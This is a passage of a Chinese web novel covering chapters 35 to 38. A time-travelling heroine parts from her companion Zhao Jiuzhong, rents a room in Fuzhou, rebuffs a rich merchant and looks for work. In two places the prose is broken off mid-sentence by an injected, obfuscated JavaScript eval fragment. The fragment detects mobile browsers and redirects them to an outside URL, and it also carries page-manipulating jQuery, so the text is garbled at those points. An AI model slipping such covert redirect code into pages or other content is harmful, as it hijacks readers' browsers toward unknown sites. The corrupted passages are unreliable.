那沈老爷也许是见贺岁愉长得不错,又醉得厉害,没有为难她,自己胡乱脱了外衣和靴子,晕乎乎躺下了。 不一会儿,轻微的呼噜声就被窝里传出来。 贺岁愉出去,那管事的问:“沈老爷歇下了?” 贺岁愉嗯了一声。 管事的吩咐:“你在这儿守着,沈老爷有什么吩咐,你就及时进去伺候,回头啊,少不了你的好处。” “是。”贺岁愉低头应下。 伺候? 她伺候个屁啊! 贺岁愉见那管事的走了,就连忙沿着原路出了府。 这回出去没有再出什么意外,她安全地抵达了客栈,但是回到客栈才发现,赵九重竟然还没回来。 贺岁愉跑下楼看了好几次,也不见他回来。 这死赵九重,到底哪儿去了! 他不会是知道她是个姑娘,嫌他碍事就抛下她一个人走了吧? 她今儿个早上起来他人就不见了,这天都黑了,还没回来。 贺岁愉坐立难安,坐在桌子边上给自己倒了杯冷茶水,喝了两口,下意识起身又趴到窗户边去看楼下赵九重有没有回来。 想起之前在灵霄寺他大清早就不见了,天黑才回来的那一次,是听了寺庙里僧人的闲话,不想继续吃白饭,所以跑到码头去搬货。 贺岁愉的心又安定了一点。 这一回应该也是差不多,赵九重即便不想再带着她一起,应该也会提前跟她打声招呼,他不至于这么没有义气。 她又一次跑到客栈楼下去门口张望,依然落了空。 外面的天已经彻底黑了,天上依稀散落着几颗星子,寒风穿过空荡的街道簌簌而过,客栈门口挂着两盏灯笼,被风吹得摇摇晃晃,在地面照出一圈白色的光晕。 她失落地转身进了客栈,刚从楼下上来,走到她的房间门口时,背后有一个声音叫住她,“客官,等等——” 贺岁愉转过身来,看见一个店小二跑过来,“今儿个早上错过了您出门的时候真是对不住,隔壁客房的客人给您留了话,让小的带给您。” “他说他有事要出去一趟,让您在咱们客栈里等他两日。” “他没说具体什么时候回来吗?”贺岁愉问。 店小二摇摇头,“没说。” “我知道了,多谢你。”贺岁愉转身进了房间,关上门,抬起头视线穿过窗户,看见外面漆黑一片的夜色,将周围的商铺、房屋都笼罩着,总觉得心中不安。 赵九重不在,贺岁愉一个人睡在复州这家陌生的酒楼里,夜里总觉得不安,外面一有点动静就会惊醒。 毕竟如今这个世道,不比她从前的那个时代,她不得不提心吊胆、小心翼翼,一个不留神也许就没命了。 “啪——”一声巨响。 贺岁愉猛然惊醒,坐直身子才发现是窗户没关牢,夜里风太大,把窗户吹开砸在了墙上发出的声响。 远处的天空已经隐隐约约露出一丝白线,像是要割开天地间的阴阳。 天快亮了。 贺岁愉翻身下床,趿拉着鞋子走到窗边,把窗户关严实,重新回到床上。 她平躺在床上,却没什么睡意,双眼放空地看着天花板。 有点儿忧心自己的未来,看不清前面的方向,也看不清脚下的路。 赵九重虽然只是暂时因事外出,还会回来客栈找她,但是他既然已经知道她是女子,十有八九不会再像之前那样一路带着她了。 如果不跟赵九重四处闯荡的话,那她要干什么呢?要不然就在复州安顿下来么? 她脑子里乱七八糟地想着,过了一阵子,又迷迷糊糊地睡着了。 “笃笃笃——” “笃笃笃——” 她是被一阵敲门声吵醒的。 贺岁愉睁开眼睛,一边打着呵欠一边去开门。 谁啊? 难道是赵九重回来了? 35.第 35 章 贺岁愉打开门,还是昨天那个婢女。 贺岁愉惊讶:“你怎么又来了?” 婢女微微一笑:“姑娘,我们姨娘请您过府一叙。” “她找我做什么?她不是已经拿回卖身契了,有什么可跟我叙的?”贺岁愉满头雾水,“难不成……她想起我之前的事儿了?” 婢女摇摇头,“姨娘未曾与我说,只说是好事,请姑娘速速前去。” 贺岁愉捕捉到其中的关键词,“好事?” 婢女语气轻快:“我们姨娘说是大好事呢!” 贺岁愉沉思片刻。 好事?小红找她能有什么好事? 刘府高门大户,人口众多,昨日那个管事她就没法应付,小红自己都位卑言轻,她一个人过去遇上事儿根本就没人能护着她。 贺岁愉想起昨天拿着的四十两银子,有点心虚,更多的是不安。既然有了钱,她就得把钱守好,虽然这四十两银子对刘家来说不多,但是拿了刘家的银子又跑回刘家,总归不大安全。 “我不去。” 她忽然就要关门,那婢女太过惊讶,压根儿没反应过来阻挡贺岁愉关门,就这样被关在了门外。 婢女站在门口拍了拍门,“诶——姑娘!姑娘你!” 贺岁愉从里面把门栓上了,“让你们姨娘有什么事儿自己来找我,我又不是她的丫鬟,她派人来叫我,我就得巴巴地过去?” “姑娘,你不跟我去,我如何回去交差啊?”婢女着急道。 “那是你的事。”贺岁愉抱着胳膊靠在门后,漫不经心地说,“你就如实跟她说就好了,有什么交不了差的?” “我如今跟你们姨娘钱货两讫,又不欠她的,她有事就自己来当面跟我说!”贺岁愉的声音从门后传过来。 婢女气得跺了跺脚,转身走了。 贺岁愉听见那婢女走了,于是把门慢慢打开了一点儿,探出脑袋去看外面,走廊上空空如也。 小红的婢女已经离开了。 贺岁愉重新关上门。 虽然小红找她过去,也可能是想起了,她之前和她一起被人贩子关起来的时候,发生的一些事情。但是贺岁愉考虑到其中的风险,还是决定不去。 贺岁愉想通过小红这里的蛛丝马迹,调查她父母的事情,她方才在那婢女面前心动片刻以后,还是觉得四十两银子更重要,这钱已经落尽她的口袋里了,就不能再有一点风险。 不然,她真的会心痛死。 耀眼的日光掠过茂盛的树枝,从树叶的缝隙里照过来,落在窗纸上洒下一片金光灿灿的斑驳。 贺岁愉用了早膳以后,在客栈里转了一圈,看见赵九重紧闭的房门,想起他昨天晚上一夜都没回来,现在还没回来,今晚不知道能不能回来。 他的房间一直续着,他又不回来住,真是浪费钱。 早知道,应该让他晚上去住桥洞的。 贺岁愉没什么事做,想起前日让小红口述,她记在纸上的那一串地名。 之前是没钱,所以想问赵九重的,但是现在不一样了,她手里有了银钱,不会再像从前那样吃了上顿没下顿,便舍得花钱买东西了。 贺岁愉下楼问店小二:“小哥,你知道哪儿有卖舆图的吗?” “舆图?”店小二一边俯着身子擦桌子,一边头也不抬地笑着说道,“客官,这个您可买不着,这个只有官府才有。” 说着,那店小二还压低声音,凑近了贺岁愉说:“外面都不让卖的。” 贺岁愉见店小二恐怕理解错了她的意思,解释说:“不需要太详尽,就大概各个州的位置清楚就行。” 既然外面都不让卖,她要买地图,恐怕看起来太过怪异,时局这么乱,误把她当成奸细就不好了。 于是,贺岁愉赶紧笑着补充了两句,“我这没出过远门,听游玩回来的朋友说过好几个州,就想看看这些州都在什么地方。” 店小二把抹布浸在水里搓洗,“小的也不知道哪儿有卖的,客官回头问问别人吧。” “好吧。”贺岁愉略有遗憾地应了一声,转身上楼。 那店小二又想起了其他的,在她身后说:“也许,那些常年在外跑商的商旅手中有,客官可以去问一问。” 贺岁愉闻言转过身来,忽然想起一件事,问他:“这东西是不是挺贵的?” 店小二应声:“那是自然,难得的东西都贵嘛!” 贺岁愉转回身,摇摇头,“那还是算了。” 她扫了一眼纸上这几行陌生的州名,心道:还是等赵九重回来以后,问问赵九重吧,他走了那么多地方,肯定知道。 地图太贵了,她还是不花这冤枉钱了。 有便宜办法不用是傻子。 赵九重让她在客栈里等他,贺岁愉有了之前的教训,知道外面有多不太平,一个不留神就会摊上事儿,所以,她一直待在客栈里哪儿也没去。 日光逐渐变成橙黄色的,天上的太阳像金灿灿的橘子,一点点挪到西边,一点点往下滑落。 贺岁愉趴在窗口,几只鸟儿从远处的高空中飞过,心中隐隐烦躁和焦灼。 赵九重怎么还不回来…… 也不知道她还要等几天。 忽然,又有人敲门。 贺岁愉扭过身子,“谁啊?” “我。”小红的声音从门外传来。 贺岁愉心道:还真来了。 她走到门后,开了门,就看见小红一张白面红唇,敷着厚厚的粉,就是脸色不大好看。 “一天不见,你架子就这么大了?”小红黑着脸从门口走进来,“我派人来请你都请不过去,还非得我自个儿亲自来。” 早晨过来请贺岁愉去刘府的婢女,跟在她身后一起进来了。 “你前日不也亲自来我这儿吗?”贺岁愉不软不硬地怼回去,“才过区区两日,你架子也没少涨嘛。” 小红噎了一下。 她捏着帕子,一只手搭在桌子上,“这回真是好事。” 贺岁愉不信:有好事她自个儿就先上去领了,怎么可能巴巴地过来找她? “我昨儿个不是让你出府了么,就那么几步路的距离,你竟然还能勾搭上沈老爷。”小红语气满满地艳羡。 贺岁愉眉心一跳,有些不妙的预感。 果然,小红说:“沈老爷差我问问你,愿不愿意给他做妾。” 说罢,小红捋着帕子,酸溜溜地看着贺岁愉,“你还真是走运,沈老爷比我们家老爷还有钱,而且还年轻,长得又英俊,若不是我当初实在走投无路……” 小红说到这里,突然想起了身后站着的的婢女,赶紧止住了话头, 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“女人啊,年轻的时候不为自己多考虑考虑,以后老了肯定要吃苦的!” 小红说得头头是道,道理一条又一条接连不断。 “而且你比我还大一两岁,再不嫁人就是老姑娘了,再过几年想嫁都嫁不出去,错过了沈老爷这么好的男人,以后打着灯笼都找不到这样的了!” 贺岁愉撇撇嘴,“不去,我可没你那个伺候老男人的爱好。” 贺岁愉一直自以为自己挺爱钱的,但这次她始终不为所动,是因为她见了刘员外以后,觉得自己也没有那么爱钱。 那姓沈的今年就快四十了,她才正当十七八的好年华,那老东西比她足足大了二十多岁。再过二十年,她才三十多岁,他都成白发老头子了。 她如今有了这四十两银子,足够她过很长很长一段日子了,而且她还可以做些别的活计挣钱,没必要用身体换钱和资源。 小红听见她的话,叫她刺激得脸上的表情都皲裂开了。 她当即站起身来,“你清高什么?当初要不是你运气好跑得快,现在指不定就跟其她姐妹一样被卖进窑子里,想跳出来给沈老爷当妾,沈老爷都不愿意要你呢!” 贺岁愉:“……” 急了,一句话就急了。 贺岁愉一句话扎在了小红的心口上。 小红也不跟她推心置腹了。 小红晓得贺岁愉这张利嘴的厉害,见贺岁愉对沈老爷半点不热络,完全没这份儿心思,便只能气冲冲地离开了。 贺岁愉上前去关上了门。 走了好啊,走了她的世界就清净了。 小红离开,房间里再次剩下她一个人,太阳已经彻底落了山,连橙红似火的晚霞都快散尽了。 天黑以后,赵九重还是没有回来。 她心中隐隐担忧。 这人去了这么久,不会死在外面了吧?换个委婉的说法,不会在外面出什么事儿吧? 贺岁愉本以为他今晚又不会回来了,于是干脆脱了衣裳早早上床休息了。 结果,她刚睡着就听见有人敲门,敲门声十分急促,将她从睡梦中叫醒。 36.第 36 章 她本来还心惊胆战,大晚上黑灯瞎火的,突然有人在外面猛敲她的房门,搁谁身上谁不怕啊? 屋子里一片漆黑,外面的月亮大概是被乌云遮住了,外面也黑漆漆的一片。 她抄起柜子上的花瓶,时刻准备着自卫。 然后就听到了赵九重的声音从门外传来,“贺兄,开门,我有急事要与你说。” 贺岁愉松了一口气。 “是你啊。” 她刚打开房门,赵九重便急匆匆地大步跨进来,还顺手关上了房门。 屋子里太黑,贺岁愉看不清他脸上神色,见他这么大步进来,于是调侃:“怎么出去一趟,回来就不讲究那些男女有别的虚礼了?” 她点燃了桌子上的油灯,转过身来,才看见赵九重一张脸上全是汗水,额头上的汗水大颗大颗地顺着脸颊往下滚。 外面分明夜色寒凉,但是他身上却热腾腾的,还在小幅度地喘气,像是一路跑回来的。 “怎么了?你这么着急。”她收了玩笑的心思,诧异地问。 赵九重说话时还夹杂着喘气声,“河中节度使李守贞叛乱了。” 贺岁愉瞳孔一震,“什么?” 她不知道这个李守贞是谁,但显而易见,又要打仗了。 “随州董刺史正在招募士兵,大概会派军队去平叛,我要即刻出发去随州,你……”赵九重迟疑了一下,才问,“你要一起去么?” 贺岁愉皱着眉头,吃惊地问:“你要去送死啊?” “不是,这怎么就是送死了,你讲话别那么难听好不好?” “那么乱,大家躲还来不及,你还非得往前冲?”贺岁愉费解。 “正是乱中出机遇,一味贪生怕死,什么都做不成。” “好好活着不好吗?” “这样庸碌地活着有什么意义?我若是甘心碌碌无为、苟且偷生之辈,那我当初何必离家游历千里?” 贺岁愉愣了下。 “我等了你两天一夜,就等回来这么个消息。” 她点点头,“行,我贪生怕死,我碌碌无为、苟且偷生。” “你英勇无畏,你胸怀大志、鹏程万里,那你走吧!反正你之前就不想带着我一起了。”她破罐子破摔地说。 赵九重见贺岁愉如此说,明知她是赌气,他张了张口,似乎要解释什么,最终还是闭上了嘴。 沉默片刻, “也好。”他说。 贺岁愉诧异地抬眼。 也好? 她本来以为……以为赵九重会挽留她的,就像以往那样,最起码,会解释两句。 可是他什么都没有说。 看来是早就想甩开她这个累赘了。 他只是说:“复州太平,你既无亲眷故旧,留在此地也好。” 语气淡淡的,仿佛真心为她考虑似的。 少假惺惺的了。 她几乎压不住心头的无名火。 “好——”贺岁愉提高声量干脆利落地应了一声。 她无意识地捏紧了袖中的拳头,声音沉下去,“那我们就此分道扬镳,你建你的功、立你的业,我继续我的碌碌无为、苟且偷生。” 赵九重如方才一般沉默地转身,急匆匆地进来,却只是说了这么几句话就迅速地离开。 走到门口时,他忽然回过头来。 贺岁愉以为他改变了态度,微微坐直了身子,连耳朵都动了一下,面上半分不显,但集中了注意力等着他的话。 结果,他说:“河中大乱,你……一个人,一切小心。” 贺岁愉坐在油灯旁,脸色难看得紧,“用不着你操心。” 赵九重走了以后,贺岁愉拴上了房门,她脱了鞋子爬上床,半点儿睡意也无。 从沧州到复州,这么一路过来,几经生死,走到现在,却分道扬镳,只剩下一点点渺茫的交情。 这多少让贺岁愉有点烦闷。 但是她绝对不会跟着赵九重一起去前线送死。 她当初穿越过来,心中想的只有一件事,那就是她要活下去,要在这个乱世好好的活下去。 不会为任何人动摇。 *** 翌日天明, 贺岁愉醒的很早,醒了以后,第一时间开门出去,隔壁的房间门关着。 她正在纠结,赵九重是还没醒,还是……还是已经离开了。 她要不要敲门看看,但是昨晚他们刚刚不欢而散,她第二天一早就去找他也太没面子了吧。 忽然,门开了。 贺岁愉抬眼望去,店小二抱着换下来的床单和被罩从房间里出来。 “他走了?”贺岁愉惊讶。 店小二点点头,“对,这间房的客人已经走了。” 店小二见贺岁愉不说话了,便转身快步往楼下走,他还有一大堆活儿要干。 “等等——”贺岁愉忽然又叫住了他。 店小二回过头来,“客官还有什么吩咐?” 贺岁愉垂着眸子,语气冷了点儿,“小哥,你可知道这附近上哪儿去租赁房子么?” “您出了客栈直走,再左转,然后就能看见一家牙行,您可以去那儿看看。” 店小二抱着东西下楼,贺岁愉转身进屋,却看到了桌子上放着的碎银子,她刚刚出去的太急没有注意到。 贺岁愉数了数。 他还真是大方,身上一共七两银子,就给她留了五两。 她紧紧地攥着碎银子,拿起来想砸到地上,高高举起的右手颤动了几下,最终没有砸下去。 她现在已经有钱了,谁要他的臭钱! 贺岁愉不知道自己心头的火是从何而来,明明现在的场面她早先都已经预料到,但她就是很生气。 她用了早膳以后,按照店小二说的路,找到了那家牙行。 贺岁愉第一次进这种地方,下意识左右打量,很快便有一个约莫三十来岁的男人迎上来,“小哥,你是来租房的吧?” 贺岁愉在外仍然是男装打扮。 男人长着一张马脸,留着一撮黑色的小胡子,皮肤有点黑,对着贺岁愉满脸是笑,脸上的褶子十分明显,尤其是眼角细密的褶子都炸开了花。 贺岁愉打量了他一眼,心道:这就是中介啊。 她点了点头。 马脸男人笑容更热情了,“小哥想租什么样的房子?” 贺岁愉跟牙人沟通了她想要租什么样的房子,牙人当即带着她去看房子。 那马脸的男人先领着贺岁愉去了头一家,巷口极狭窄,约莫只有三尺宽。 虽然说现在是上午阳光正好的时候,狭窄的巷子里面仍然乌漆嘛黑一片。 走了一段以后,外面的阳光照不进来,贺岁愉连脚底下的路都看不清,一脚踢在凸出来的土包上,差点儿迎面摔出去。 这家在巷子最里面,牙人带着贺岁愉走了好远一段才走到,走到深处,贺岁愉觉得白天走在这样黑暗狭窄的巷子,都觉得有点儿害怕。 牙人敲了敲门,一个干瘦的、脸色蜡黄的女人给他们开了门,她捆着打了补丁的围裙,一只手拿着一把还沾着泥土的翠绿小葱。 这家院子里已经住了一户人家,但是家里条件不大好,他们准备把侧面空着的耳房租出去,换些银子维持家用。 “快,快请进来。” 女人在围裙上擦了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059122|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦手上的泥巴,殷切地看着牙人和跟在牙人身后一起进来的贺岁愉。 贺岁愉刚进院子,就听到屋子里传来一个老婆子的叫骂声。 “死丫头!谁让你偷吃的?这是给你弟弟买的,你怎么那么不要脸,偷吃弟弟的东西?” 叫骂声中,夹杂着小女孩儿震天的哭声。 “哭哭哭,就知道哭!跟你那个赔钱货娘一样,福气都叫你们母女俩哭完了!” 女人面色尴尬,想进去劝阻婆婆,但是听见婆婆凶厉的骂声,焦急地看了屋子里两眼,最终还是因为害怕没有进去。 牙人看了贺岁愉一眼,见贺岁愉脸上没什么表情,面色也有点而尴尬。 “房间在这边。”牙人要领着贺岁愉要去看房子。 贺岁愉却站在原地不动,“算了吧,换下一家。” 女人脸色一白。 “别、别啊,”女人拿着小葱拦在贺岁愉前面,但她不太会说话,只是干巴巴地说,“您看看房间吧,我收拾得很干净的。” 贺岁愉看着女人恳切的眼神,不为所动,直言道:“我想租个安静一点的地方。” 说着,贺岁愉从她前面绕开,从院子里走出去。 “黄大哥,这……”女人见贺岁愉这么快就走了,于是慌里慌张地看向牙人,“黄大哥,您能不能再帮帮我?” “我还要怎么帮你?”牙人气得不轻,“我每回带人来你都干这事儿,这是最后一次了,你们家要是不想租就直接说,别每次我领着租客上门来,你那婆婆就要闹点子事儿出来!” 女人委屈,“这、我也没办法啊……” “我要不是跟你男人有两分交情,我就根本不会领着租客上你们家来!”牙人满脸晦气地出去了。 贺岁愉站在门外,牙人出来以后,看见贺岁愉面上表情冷了些,知道贺岁愉这是不高兴了,尴尬地笑了下。 他正要说话,贺岁愉忽然道:“没有别的事儿少一些的房子么?” 因为贺岁愉的给出的预算实在很有限,所以只能租到这种合租的院子。如果她要单独租一个小院子的话,租金太昂贵。 牙人忙道:“有的有的,我现在就带您去看。” 出去的路上,牙人提到这一家的情况。 这一家的男人是个给人装卸货物干苦力活儿的,一家老小都靠他一个人养。 他还有个弟弟,住在乡下,游手好闲不务正业,他老娘还常常偷偷摸摸地拿大儿子的钱接济不成器的小儿子。 最近,他老婆又给他添了个儿子,日子越发过得紧巴巴了。 他就想把房子腾出来一间租出去,但是他老娘想把小儿子叫进城来住,又拗不过大儿子,所以每回租客上门,那老婆子就要搞点儿事。 贺岁愉:“你既然知道是这么个情况,你还领着我去?” 牙人:“但是他们家的租金确实便宜嘛,小哥你不是要便宜的房子嘛!” 贺岁愉翻了个白眼,“得了吧,到底是因为租金便宜还是因为你要还人情,你自己心里清楚。” 牙人尴尬地笑了下,向贺岁愉保证:“我待会儿领着您去的这一家肯定安静,就是比这一家租金稍高一点,离这儿很近,就在隔壁的巷子里。” 贺岁愉跟着牙人到了隔壁的巷子里,比刚刚那条巷子宽了不少,起码进去的路上能看见脚底下的路,阳光能照在斑驳的墙壁上。 而且这一家就在巷子口第二家。 牙人敲了门,是一个七八岁的小姑娘来开的门。 小女孩正在换牙期,两颗门牙都掉了,张嘴说话时有些漏风,她认得这个牙人,转头冲屋子里用稚嫩的声音大喊:“娘,黄叔叔来了!” 37.第 37 章 一个女人从屋子里走出来。 女人瓜子脸,柳叶眉,皮肤白皙,身形清瘦,看起来温婉秀气。 她一看到贺岁愉就皱起了眉头,“怎么是个男租客?老黄,我之前不是与你说过了,我要找个女租客么?” 贺岁愉一顿,正想要解释。 牙人笑道:“曲娘子,你再仔细看看,这租客到底是男是女?” 贺岁愉一惊,下意识瞪大了眼。 他、他知道? 这牙人早发现她是女子了。 那女人又再次看向贺岁愉,恍然大悟:“哦,原来是个姑娘啊。” 有一阵子没过那种风餐露宿、饥一顿饱一顿的日子了,贺岁愉脸上的冻疮掉干净了,瘦削的脸颊上长了一点肉,皮肤也比之前白了一些,所以眼力好的、细心一些的,很容易就能发现她是姑娘。 贺岁愉已经意识到,她现在女扮男装有多失败。 发现贺岁愉是个姑娘以后,女人的态度热情了一些,领着贺岁愉去看了房间。 “我夫君常年在外走镖,这房子空着也是空着,我就想找个租客给我们娘俩做个伴。”曲娘子细细解释着。 贺岁愉对这个房子还挺满意,听到曲娘子说她夫君常常不在家,就她们娘俩在的时候,就更满意了。 确认这房子没什么问题以后,她当场交了租金,决定先租三个月。 贺岁愉向牙人问了路,去附近置办了一些东西,还给自己买了两身衣裳,准备明日出去找活儿时穿。 她坐在路边的摊子上,吃了一大碗青菜汤饼,看着天边一点点坠落的红日,仍然有一点不太真切的感觉。 她就要开始一个人在复州的生活了,要在复州安家了。 她买了东西回来,因为对刚刚租的房子不熟悉,还差点儿走错了路,走到前面的一条巷子里去了。 她从那条错的巷子里出来,往回走了一小段,正巧路过隔壁的那条狭窄的巷子里,一个黑影从巷子里冲出来,撞在了贺岁愉身上。 将贺岁愉撞得摔倒在地。 那人一边跑,一边回头啐了她一口,“不长眼的狗东西!” 贺岁愉心头火起,但她抬起头时,那人已经跑远。 这人撞了她还骂她? 她高声回骂:“什么畜生玩意儿!跑那么着急,赶着去死啊你!你最好叫马车撞死!” 她刚骂完,巷子里一个女人哭着追出来,哭着喊:“石头,这钱你不能拿啊!这是给平安读书准备的!” 但是那个黑影早已经跑远了。 女人实在追不上,只能停下了脚步,气喘吁吁地扶着墙,哭得上气不接下气。 贺岁愉一眼认出这人,这不是她今天上午租房时去的第一家,那个开门的女人么。 那女人转头看见了刚从地上爬起来的贺岁愉,愣了一下,眼里很快浮上欣喜,“小哥是重新回来租我家房子的么?” 贺岁愉摇了摇头,“恰巧路过而已。” “小哥要不要重新考虑一下我家的房子?租金可以再降一点的!” 贺岁愉摇了摇头,“我已经租好房子了。” 女人瞬间失落下来,见小叔子已经跑得没影了,擦了擦脸上的眼泪,失魂落魄地转过身,朝黑暗的巷子里走去。 贺岁愉回来时,曲娘子和门牙掉了的小姑娘正在用晚膳,见贺岁愉从外面回来,曲娘子便热情招呼贺岁愉一起用晚膳,得知贺岁愉已经在外面吃过了这才作罢。 曲娘子吃过饭,过来问贺岁愉屋子里有没有什么要添置的,有没有什么她能帮上忙的。 掉了门牙的小姑娘跟在后面,叽叽喳喳地叫贺岁愉“哥哥。” 曲娘子纠正她,“是姨姨。” 曲娘子看起来只有二十多岁,也没比贺岁愉大多少,怕让小姑娘叫贺岁愉姐姐,会让贺岁愉矮了辈分。 小姑娘歪歪头,圆圆的眼睛一直盯着贺岁愉,“啊?可是她穿着男人的衣服啊。” 贺岁愉笑着说:“不碍事,叫什么都行。” 曲娘子见贺岁愉为人随和,对贺岁愉心中好感又添几分。 贺岁愉一个人住,除了一个装着衣物的小包袱,也没有什么行李,实在没什么好收拾的。 曲娘子便与贺岁愉闲聊起来,也好熟悉一下两方的情况。 “姑娘如何称呼?” “我姓贺,您叫我小贺就行。” “你在这边租房是准备找个活计么?” 贺岁愉点点头,“对,听说复州太平,所以想在复州找份工作安定下来。” “我听你口音,就觉得你不像我们复州人。” 贺岁愉如实道:“我从青州来的。” “青州?那么远,”曲娘子惊讶,“你一个人来的啊?” “本来还有个朋友一起,但是闹掰了,他去别地儿投奔亲戚了。” 曲娘子也是个有分寸的人,没多问贺岁愉和朋友闹翻的事情,只是语气钦佩地说:“你一个姑娘大老远从青州来复州,真有本事,我就不行。” “你会刺绣么?听说最近绣坊在招人,你若是绣工好的话,不妨去试试。” 贺岁愉干笑一声,“刺绣啊。” 她摇摇头,“不行,我半点儿也不会。” “我明日出去转一圈吧,看看有没有什么我能干的活儿。” 送走了曲娘子,天已经彻底黑了,贺岁愉提着木桶出去打了一桶水。 这边是好多户人家共用一口井,水井就在巷子口的榕树下,她租的房子就在巷子口进去第二家,出了院子,再走不远一段路就到水井了。 她提着水桶回屋,顺手关上屋门,将水桶放在墙角,然后走到床边,把身上的脏衣裳脱下来,换上了下午刚买的干净衣裳。 她把脏衣服放进木盆里,又倒了小半桶水进去,突然发现下午没有买洗衣裳用的皂角。 算了,清水将就着洗吧,总比一直穿着不洗强。 她搓了两把,见很多地方实在搓不干净,搓着搓着没了耐心,干脆扔进了盆里。 先泡着,等明日买了皂角再洗,不然洗了也像没洗。 贺岁愉简单地洗漱一番,然后爬上床,捏了捏酸软的腿,躺下来以后,闻到了被子上淡淡的皂角香气,这味道让她觉得心安。 今天走了好远的路,她也累了,没过多久,就睡着了。 贺岁愉第二天起了个大早,买了一张胡饼,边走边吃,沿街打听这附近哪儿有没有招人的。 她如今再女扮男装,很容易就被识破了,所以贺岁愉干脆恢复了女子装束。 这次没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061637|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像青州那样的好运气,贺岁愉找到下午太阳快落山时,还是没有问到一家招人的铺子,其实也有一两家明明要招账房或店里跑腿的伙计,但是一看她是女子,就直言拒绝了,明明是女人也可以干的活儿,就非得找个男的。 纵然贺岁愉生气也没办法,毕竟这店也不是她开的。 贺岁愉有点儿沮丧地坐在街边,找不到工作,挣不到钱,她甚至都不想花钱买饭吃,大概是穷怕了。 她想起自己的四十两银子,考虑要不然自己干脆开家铺子做生意算了。 这个念头刚一闪过,又很快被她自己否决了。 不行,有钱人最忌讳创业,这四十两银子要是拿去创业做生意,也许很快就被她赔掉了。她现在还没有那么充足的本钱,去干风险这么大的事情。 要不然自己做个小本生意?投入一点少少的钱,这样也不至于会让她伤筋动骨。 但是做什么小本生意呢?贺岁愉想了想,自己甚至没有可以拿得出手的一技之长,来支撑她这个小本生意。 而且小生意又辛苦又不挣钱,她其实对这事不怎么热心。 她从地上爬起来,拍了拍屁股上的灰,继续往前走。 还是先找找有没有合适的工作吧,今天找不到,就明天再找,多找几天,要是实在找不到,再考虑自己做小生意的事儿。 路过一家古玩铺子前面时,忽然一个声音从铺子里传来,“小绿姑娘!” 贺岁愉没想起来这个名号是她的,毕竟她当时只是随口胡诌了一个名号而已。 “贺姑娘!”那声音的主人快步从古玩铺子里走出来。 贺岁愉这回听出来是在叫她,她刚来,在这儿人生地不熟的,复州的街头怎么还能有人认识她? 她奇怪地转过身来,看见了前几日见过的那个醉鬼——沈老爷。 她惊讶极了。 没想到会再次遇见这人,毕竟复州这么大,而且她这样的穷人和富人活动的区域,重合的很少。 沈老爷走到了她面前,“小绿姑娘怎么在此?” 贺岁愉见他明明知道自己姓贺,还偏偏要叫她小绿,她听起来怪尴尬的,忍不住蹙着眉纠正他:“我姓贺。” 意思是让他别叫自己“小绿姑娘”这个尴尬的名号了。 “我知道。”那姓沈的富商笑着说。 贺岁愉心道:你知道你还这么叫我? “那贺姑娘怎么在此?”沈老爷好脾气地又问了一次。 贺岁愉本来想不客气地说关他屁事的,但是一想到工作怎么难找,忽然又改变了念头,如实回答:“想找份工作糊口,所以四处看看。” “贺姑娘可识字?” 贺岁愉点点头。 “可会算数?” 贺岁愉仍是点头。 沈老爷笑道:“正好,我古玩铺子里还缺个账房,贺姑娘可以我铺子里记账,一个月三贯钱。” 贺岁愉在他问自己识不识字的时候,就大概预料到了。她的心底浮现一点雀跃和欣喜,刚想要答应时,脑海中又闪过另一个念头,让她迟疑下来。 她孤身一人在复州,贪便宜容易,若有代价还回去就难了。 无商不奸,还是不能轻易相信商贾的好心。尤其,是一个三十多岁色眯眯的老商人。 38.第 38 章 贺岁愉一番犹豫后,还是决定拒绝。 “多谢沈老爷好心,但是我还是再找找别家。”说罢,贺岁愉也不多跟他纠缠,转身就走。 贺岁愉离开以后。 沈林对身后的小厮吩咐:“贺姑娘去的方向,正好会一路问到咱们家的胭脂铺子,让胭脂铺子招了贺姑娘。” 小厮不解:“老爷,您为何要对这个不识抬举的女子那么好呢?” 沈林看着贺岁愉离开的背影,把玩着腰间缀着的玉佩,“你懂什么?只要对方是个合我眼缘的美人,那温水煮青蛙这一招玩起来也颇有妙处啊。” 沈林踩在奴仆的背上登上马车,口中还感慨着:“美人易得,有个性的美人却不易得,没想到,还是个读书识字的。” 贺岁愉不要这份工作,就是怕惹上麻烦,却不知道,沈老爷对她的兴致愈发大了。 从那家古玩铺子走过以后,她又走了一段路,听说前面有家胭脂铺子招人,贺岁愉连忙去了。 这次很顺利,胭脂铺子要招一个接待客人的年轻姑娘,贺岁愉正好合适。 虽然贺岁愉没卖过胭脂,也不太懂这古代的胭脂品类,但是对方见她口齿清利,还算伶俐,当即与她约定了让她明日就来工作,负责接待店里的客人,还有推销胭脂。 贺岁愉找到了工作,下午回去的路上,觉得迎面的晚风都夹杂着清香。 快到巷子口时,她远远看见一个男人在纠缠一个女子,走近了些,她才看清那女子是曲娘子。 “走开,我有夫君的!你休要再纠缠!”曲娘子想要绕开那个男人,那男人跨步上前,又拦在了曲娘子身前。 “诶——”那男人笑得轻浮,“你夫君都多久没回来了?你一个人独守空闺,不觉得寂寞么?” 男人细长脸,眼窝深陷,很瘦,皮肤发黄发黑,一笑就露出了满口发黄的牙齿。 “你休得胡言乱语!” 